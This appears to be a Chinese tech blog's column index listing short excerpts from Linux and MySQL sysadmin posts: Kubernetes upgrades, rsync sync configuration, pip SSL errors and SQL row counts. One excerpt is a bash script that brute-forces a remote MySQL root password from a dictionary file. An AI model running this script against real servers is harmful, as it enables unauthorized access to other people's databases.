首页
学习
活动
专区
工具
TVP
发布

葫芦

专栏作者
307
文章
851429
阅读量
34
订阅数
linux k8s权威踩坑指南
解决:无法连接数据库,书籍中mysql是latest,但是当时是15-16年左右,原来jdbc驱动可用,但是现在yaml文件中没有版本号,默认依然是latest,但是现在的jdbc驱动不能连接latest版本的mysql,故进行滚动升级命令如下:
葫芦
2019-05-20
1.5K0
linux shell配合密码字典破解远程mysql密码
[cc lang="bash"] #!/bin/bash a=1 for t in `cat pass2` do mysql -u root -h “TARGETIP” -p$t 2>ss2 if [ ! -s ss2 ] then echo $t>password2 break fi echo "$a">ss3 a=$[ $a + 1 ] cat /dev/null >ss2 done [/cc] pass2: 是密码字典文件 mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
葫芦
2019-05-09
2.7K0
linux rsync + inotify搭建实时网页发布同步系统
#如果不加这行strict modes = false,可能会出现@ERROR: auth failed on module mysql strict modes = false #只允许192.168.1.0 网段下的客户端同步,也可指定IP。www.linuxidc.com 多个IP用逗号且无空格连接,如192.168.1.2,192.168.1.3 #也可用:hosts deny = 0.0.0.0/32 hosts allow = 192.168.0.166/32 log file = /var/log/rsyncd.log #pid file = /var/run/rsyncd.pid #指定rsync的pid文件,可不用。#motd file = /etc/rsyncd.motd #欢迎信息文件名称和存放位置(此文件没有,可以自行添加) #lock file = /var/run/rsync.lock #指定支持max connections参数的锁文件,默认值 #max connections = 10   # 最大连接数为10 [web]  #指定认证的备份模块名为mysql,在client端需要指定 #备份路径 path= /var/www #验证用户,这行如果不用,则可匿名访问,多个用户用逗号“,”分隔 #不建议用root。 auth users = wangzi #备份以什么用户ID和组ID进行,也可用root #但建议用mysql用户去读,只要设置有足够权限的用户即可,不建议用root. uid = root gid = root # 可以忽略一些无关的IO错误 ignore errors #不允许列文件 list = false #密码验证文件:username:password secrets file = /etc/rsyncd.secrets #关闭只读,可以上传 read only = no write only = no #pid file = /var/run/rsyncd.pid #log file = /var/log/rsyncd.log #lock file = /var/run/rsync.lock #trict modes = false,可能会出现@ERROR: auth failed on module mysql #只允许192.168.1.0 网段下的客户端同步,也可指定IP。www.linuxidc.com 多个IP用逗号 #motd file = /etc/rsyncd.motd #欢迎信息文件名称和存放位置(此文件没有,可以自行>添加) #lock file = /var/run/rsync.lock #指定支持max connections参数的锁文件,默认值
葫芦
2019-05-09
1.4K0
linux python安装报错TLS SSL
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available. Collecting Mysql-python   Could not fetch URL https://pypi.python.org/simple/mysql-python/: There was a problem confirming the ssl certificate: Can't connect to HTTPS URL because the SSL module is not available. - skipping   Could not find a version that satisfies the requirement Mysql-python (from versions: ) No matching distribution found for Mysql-python
葫芦
2019-04-17
2.4K0
teg 如何监控交换机负载
方案一、自主开发不依赖开源监控系统的方案。(仅是个人设想的架构,架构不成熟,烦请指教)
葫芦
2019-04-17
1.7K0
java jsp mysql简明配置
1、下载tomcat安装包 zip,解压放置C盘。 2、下载mysql zip安装包 解压放置C盘。 3、添加环境变量C:\Program Files\Java\jdk1.7.0_51\bin;C:\mysql-5.5.25-winx64\mysql-5.5.25-winx64\bin到path 4、设置myql.ini 添加 [client] default-character-set = utf8 # The MySQL server [mysqld] character-set-server = ut
葫芦
2019-04-17
2K0
sql mysql统计表记录数
use information_schema; select table_name,table_rows from tables  where table_schema='dbname' order by table_rows desc;
葫芦
2019-04-17
2.3K0
没有更多了
社区活动
腾讯技术创作狂欢月
“码”上创作 21 天,分 10000 元奖品池!
Python精品学习库
代码在线跑,知识轻松学
博客搬家 | 分享价值百万资源包
自行/邀约他人一键搬运博客,速成社区影响力并领取好礼
技术创作特训营·精选知识专栏
往期视频·千货材料·成员作品 最新动态
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档